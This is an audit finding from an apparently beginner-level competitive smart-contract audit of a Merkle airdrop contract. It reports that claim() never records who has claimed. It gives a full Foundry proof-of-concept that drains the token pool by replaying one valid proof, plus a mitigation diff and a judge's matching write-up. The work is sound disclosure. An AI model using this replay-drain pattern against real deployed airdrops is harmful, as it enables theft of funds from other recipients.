AirDropper

AI First Flight #5
Beginner FriendlyDeFiFoundry
EXP
View results
Submission Details
Severity: high
Valid

MerkleAirdrop::claim records no claimed state, so a valid (account, amount, proof) can be replayed and one recipient, or any third party paying 1 gwei per call, drains the whole airdrop while the other recipients get nothing

Root + Impact

Description

  • Each of the four addresses committed in the Merkle root should be able to call claim once and receive its committed amount (README L59: "Each address will recieve 25 USDC"). The README (L65) says the contract is based on the Uniswap Merkle-Distributor, a design that marks each allocation as claimed so it can be paid only once.

  • claim writes no storage. The contract's only state is the FEE constant and two immutables. Because the pinned OZ 5.0.2 MerkleProof.verify is a pure function, a leaf that verifies once verifies on every later call. The same (account, amount, proof) can therefore be submitted again and again at 1e9 wei each, and every call transfers amount again until the contract's balance runs out. claim is permissionless and pays account, and every leaf and proof is public (tree.json, and the calldata of each earlier claim), so any third party can run the same loop.

// src/MerkleAirdrop.sol L15-L17: the contract's only state. There is no claimed mapping or bitmap.
uint256 private constant FEE = 1e9;
IERC20 private immutable i_airdropToken;
bytes32 private immutable i_merkleRoot;
​
// src/MerkleAirdrop.sol L30-L40: claim() verifies the leaf and pays, but never checks or records that the leaf was claimed
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
@> bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount)))); // L34
@> if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) { // L35
revert MerkleAirdrop__InvalidProof();
}
emit Claimed(account, amount);
@> i_airdropToken.safeTransfer(account, amount); // L39
}

Risk

Likelihood:

  • The replay works as soon as any eligible recipient, or anyone acting for one, sends the same claim a second time. claim is permissionless, the proofs are public, and each repeat costs only the 1e9 wei fee plus gas. The first claimer can take the whole pool before the others have claimed.

  • The bug fires in every configuration where claims work, including the repository's own 25e6-per-user configuration (test root 0x3b2e22da...). In the exact Deploy.s.sol configuration it is currently hidden by two separate deploy-script bugs, the wrong token address and the 25e18 leaves, which are reported separately. It becomes live as soon as either of those is fixed.

Impact:

  • One address receives the entire 100 USDC pool instead of its 25 USDC. In the PoC, recipient A ends with 100e6 after four identical claims, which cost 4 gwei in fees.

  • The other three eligible recipients lose their whole allocation. Their valid claims revert with ERC20InsufficientBalance(airdrop, 0, 25e6). Total payout is limited only by the contract's token balance: with the balance topped up to 200e6, one 25e6 leaf pays out eight times.

Proof of Concept

The PoC builds the real four-leaf tree on-chain from the four README addresses at 25e6 each, using the same sorted-pair hashing as OZ StandardMerkleTree. It asserts that the resulting root equals the repository's own test root 0x3b2e22da..., so the proofs are genuine two-element proofs. It funds the airdrop with 100e6 of the repository's test/mocks/AirdropToken.sol and shows:

  • a baseline in which each recipient claims once;

  • a self-drain by recipient A;

  • a drain by a non-eligible third party that routes the whole pool to A for exactly 4e9 wei;

  • eight payouts from a single leaf once the balance is topped up to 200e6.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
​
import { Test, console2 } from "forge-std/Test.sol";
import { MerkleAirdrop } from "../src/MerkleAirdrop.sol";
import { AirdropToken } from "./mocks/AirdropToken.sol";
import { IERC20Errors } from "@openzeppelin/contracts/interfaces/draft-IERC6093.sol";
​
/// PoC AD-01: claim() records nothing, so one valid (account, amount, proof) can be replayed
/// until the whole pool is drained into one address. No ffi: the 4-leaf tree is built on-chain
/// with the same sorted-pair hashing as OZ MerkleProof / StandardMerkleTree.
contract PoC_AD01 is Test {
// Repo test root (test/MerkleAirdropTest.t.sol L12): the honest 25e6-per-user tree.
bytes32 constant REPO_TEST_ROOT = 0x3b2e22da63ae414086bec9c9da6b685f790c6fab200c7918f2879f08793d77bd;
​
uint256 constant AMOUNT = 25 * 1e6; // 25 USDC (6 decimals), README: "Each address will recieve 25 USDC"
uint256 constant FUNDING = 4 * AMOUNT; // 100 USDC
​
// The four recipients listed in the README.
address constant A = 0x20F41376c713072937eb02Be70ee1eD0D639966C;
address constant B = 0x277D26a45Add5775F21256159F089769892CEa5B;
address constant C = 0x0c8Ca207e27a1a8224D1b602bf856479b03319e7;
address constant D = 0xf6dBa02C01AF48Cf926579F77C9f874Ca640D91D;
​
MerkleAirdrop airdrop;
AirdropToken token;
uint256 fee;
​
address[4] users;
bytes32 root;
mapping(address => bytes32[]) proofOf;
​
function setUp() public {
users = [A, B, C, D];
_buildTree();
​
token = new AirdropToken();
airdrop = new MerkleAirdrop(root, token);
token.mint(address(this), FUNDING);
token.transfer(address(airdrop), FUNDING);
fee = airdrop.getFee();
}
​
// ------------------------------------------------------------------ helpers
​
function _leaf(address account, uint256 amount) internal pure returns (bytes32) {
return keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
}
​
function _hashPair(bytes32 a, bytes32 b) internal pure returns (bytes32) {
return a < b ? keccak256(abi.encodePacked(a, b)) : keccak256(abi.encodePacked(b, a));
}
​
/// Mirrors OZ StandardMerkleTree for 4 leaves: sort leaf hashes, pair (s0,s1) and (s2,s3).
function _buildTree() internal {
bytes32[4] memory s;
address[4] memory owner_;
for (uint256 i; i < 4; i++) {
s[i] = _leaf(users[i], AMOUNT);
owner_[i] = users[i];
}
for (uint256 i; i < 4; i++) {
for (uint256 j = i + 1; j < 4; j++) {
if (s[j] < s[i]) {
(s[i], s[j]) = (s[j], s[i]);
(owner_[i], owner_[j]) = (owner_[j], owner_[i]);
}
}
}
bytes32 n01 = _hashPair(s[0], s[1]);
bytes32 n23 = _hashPair(s[2], s[3]);
root = _hashPair(n01, n23);
​
proofOf[owner_[0]].push(s[1]);
proofOf[owner_[0]].push(n23);
proofOf[owner_[1]].push(s[0]);
proofOf[owner_[1]].push(n23);
proofOf[owner_[2]].push(s[3]);
proofOf[owner_[2]].push(n01);
proofOf[owner_[3]].push(s[2]);
proofOf[owner_[3]].push(n01);
}
​
function _claimAs(address caller, address account) internal {
vm.deal(caller, caller.balance + fee);
vm.prank(caller);
airdrop.claim{ value: fee }(account, AMOUNT, proofOf[account]);
}
​
// ------------------------------------------------------------------ tests
​
/// Sanity: the on-chain tree is exactly the repo's own 25e6 test tree.
function test_treeMatchesRepoTestRoot() public view {
assertEq(root, REPO_TEST_ROOT, "computed root == repo test root");
console2.log("root matches repo test root 0x3b2e22da...");
}
​
/// Baseline (intended behaviour): each of the four recipients claims once and gets 25e6.
function test_baseline_eachRecipientClaimsOnce() public {
for (uint256 i; i < 4; i++) {
_claimAs(users[i], users[i]);
assertEq(token.balanceOf(users[i]), AMOUNT);
}
assertEq(token.balanceOf(address(airdrop)), 0);
}
​
/// Limb 1: eligible user A replays its own claim 4x and takes the whole pool; B, C, D are denied.
function test_selfDrain_eligibleUserReplaysClaim() public {
for (uint256 i; i < 4; i++) {
_claimAs(A, A);
console2.log("A claim #", i + 1, "A balance:", token.balanceOf(A));
}
assertEq(token.balanceOf(A), FUNDING, "A took 100e6 instead of 25e6");
assertEq(token.balanceOf(address(airdrop)), 0, "pool drained");
assertEq(address(airdrop).balance, 4 * fee, "attack cost: 4 gwei in fees");
​
// B, C, D hold valid proofs but their claims now revert.
address[3] memory victims = [B, C, D];
for (uint256 i; i < 3; i++) {
vm.deal(victims[i], fee);
vm.prank(victims[i]);
vm.expectRevert(
abi.encodeWithSelector(
IERC20Errors.ERC20InsufficientBalance.selector, address(airdrop), uint256(0), AMOUNT
)
);
airdrop.claim{ value: fee }(victims[i], AMOUNT, proofOf[victims[i]]);
assertEq(token.balanceOf(victims[i]), 0, "victim got nothing");
}
}
​
/// Limb 2: a non-eligible third party replays A's public leaf/proof and routes the pool to A.
function test_thirdPartyDrain_routesWholePoolToOneRecipient() public {
address attacker = makeAddr("attacker");
// attacker is not in the tree
bytes32[] memory empty;
vm.deal(attacker, fee);
vm.prank(attacker);
vm.expectRevert(MerkleAirdrop.MerkleAirdrop__InvalidProof.selector);
airdrop.claim{ value: fee }(attacker, AMOUNT, empty);
​
uint256 ethBefore = 10 ether;
vm.deal(attacker, ethBefore);
for (uint256 i; i < 4; i++) {
vm.prank(attacker);
airdrop.claim{ value: fee }(A, AMOUNT, proofOf[A]);
}
console2.log("attacker ETH spent (wei):", ethBefore - attacker.balance);
assertEq(ethBefore - attacker.balance, 4 * fee, "cost is 4 gwei");
assertEq(token.balanceOf(A), FUNDING, "whole pool routed to A");
assertEq(token.balanceOf(address(airdrop)), 0);
​
vm.deal(B, fee);
vm.prank(B);
vm.expectRevert(
abi.encodeWithSelector(IERC20Errors.ERC20InsufficientBalance.selector, address(airdrop), uint256(0), AMOUNT)
);
airdrop.claim{ value: fee }(B, AMOUNT, proofOf[B]);
}
​
/// Limb 3: payouts are bounded only by the contract balance, not by the leaf count.
function test_payoutBoundedOnlyByBalance() public {
// Top-up (e.g. a second funding tranche or accidental over-funding) to 200e6.
token.mint(address(airdrop), FUNDING);
uint256 claims;
while (token.balanceOf(address(airdrop)) >= AMOUNT) {
_claimAs(A, A);
claims++;
}
console2.log("successful claims of a single 25e6 leaf:", claims);
assertEq(claims, 8, "8 successful claims from one leaf");
assertEq(token.balanceOf(A), 2 * FUNDING, "A received 200e6 from a 25e6 allocation");
}
}

Run from the repository root, with the file saved as test/PoC_AD-01.t.sol:

FOUNDRY_FFI=false FOUNDRY_DISABLE_NIGHTLY_WARNING=1 forge test --match-path test/PoC_AD-01.t.sol -vv

Result: Suite result: ok. 5 passed; 0 failed; 0 skipped.

Recommended Mitigation

--- a/src/MerkleAirdrop.sol
+++ b/src/MerkleAirdrop.sol
@@ -11,10 +11,12 @@
error MerkleAirdrop__InvalidFeeAmount();
error MerkleAirdrop__InvalidProof();
error MerkleAirdrop__TransferFailed();
+ error MerkleAirdrop__AlreadyClaimed();
uint256 private constant FEE = 1e9;
IERC20 private immutable i_airdropToken;
bytes32 private immutable i_merkleRoot;
+ mapping(address => bool) private s_hasClaimed;
event Claimed(address account, uint256 amount);
event MerkleRootUpdated(bytes32 newMerkleRoot);
@@ -31,10 +33,14 @@
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
+ if (s_hasClaimed[account]) {
+ revert MerkleAirdrop__AlreadyClaimed();
+ }
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
+ s_hasClaimed[account] = true;
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Eligible users can claim their airdrop amounts over and over again, draining the contract

## Description A user eligible for the airdrop can verify themselves as being part of the merkle tree and claim their airdrop amount. However, there is no mechanism enabled to track the users who have already claimed their airdrop, and the merkle tree is still composed of the same user. This allows users to drain the `MerkleAirdrop` contract by calling the `MerkleAirdrop::claim()` function over and over again. ## Impact **Severity: High**<br/>**Likelihood: High** A malicious user can call the `MerkleAirdrop::claim()` function over and over again until the contract is drained of all its funds. This also means that other users won't be able to claim their airdrop amounts. ## Proof of Code Add the following test to `./test/MerkleAirdrop.t.sol`, ```javascript function testClaimAirdropOverAndOverAgain() public { vm.deal(collectorOne, airdrop.getFee() * 4); for (uint8 i = 0; i < 4; i++) { vm.prank(collectorOne); airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof); } assertEq(token.balanceOf(collectorOne), 100e6); } ``` The test passes, and the malicious user has drained the contract of all its funds. ## Recommended Mitigation Use a mapping to store the addresses that have claimed their airdrop amounts. Check and update this mapping each time a user tries to claim their airdrop amount. ```diff contract MerkleAirdrop is Ownable { using SafeERC20 for IERC20; error MerkleAirdrop__InvalidFeeAmount(); error MerkleAirdrop__InvalidProof(); error MerkleAirdrop__TransferFailed(); + error MerkleAirdrop__AlreadyClaimed(); uint256 private constant FEE = 1e9; IERC20 private immutable i_airdropToken; bytes32 private immutable i_merkleRoot; + mapping(address user => bool claimed) private s_hasClaimed; ... function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable { + if (s_hasClaimed[account]) revert MerkleAirdrop__AlreadyClaimed(); if (msg.value != FEE) { revert MerkleAirdrop__InvalidFeeAmount(); } bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount)))); if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) { revert MerkleAirdrop__InvalidProof(); } + s_hasClaimed[account] = true; emit Claimed(account, amount); i_airdropToken.safeTransfer(account, amount); } ``` Now, let's unit test the changes, ```javascript function testCannotClaimAirdropMoreThanOnceAnymore() public { vm.deal(collectorOne, airdrop.getFee() * 2); vm.prank(collectorOne); airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof); vm.prank(collectorOne); airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof); } ``` The test correctly fails, with the following logs, ```shell Failing tests: Encountered 1 failing test in test/MerkleAirdropTest.t.sol:MerkleAirdropTest [FAIL. Reason: MerkleAirdrop__AlreadyClaimed()] testCannotClaimAirdropMoreThanOnceAnymore() (gas: 96751) ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!